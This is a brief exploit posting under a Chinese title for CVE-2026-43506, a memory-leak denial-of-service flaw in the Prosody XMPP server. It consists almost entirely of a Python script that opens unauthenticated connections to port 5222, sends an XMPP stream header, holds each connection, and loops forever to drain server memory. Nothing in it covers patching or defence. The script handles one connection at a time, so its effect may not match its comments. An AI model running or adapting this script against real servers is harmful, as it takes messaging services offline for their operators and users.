CVE-2026-43506 Prosody内存泄漏导致拒绝服务漏洞

import socket import time target_ip = '127.0.0.1' target_port = 5222 def exploit(): try: # Create a socket connection to the Prosody server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Send initial XMPP stream header to initiate connection state # This triggers the vulnerable code path in unauthenticated connections payload = b"<stream:stream xmlns:stream='http://etherx.jabber.org/streams' version='1.0' xmlns='jabber:client' to='localhost'>" s.send(payload) print("[+] Connection established, holding resources...") # Keep the connection open or send incomplete data to trigger memory leak # Without closing the socket, the memory is not freed in vulnerable versions time.sleep(300) except Exception as e: print(f"[-] Error: {e}") while True: exploit() time.sleep(0.1)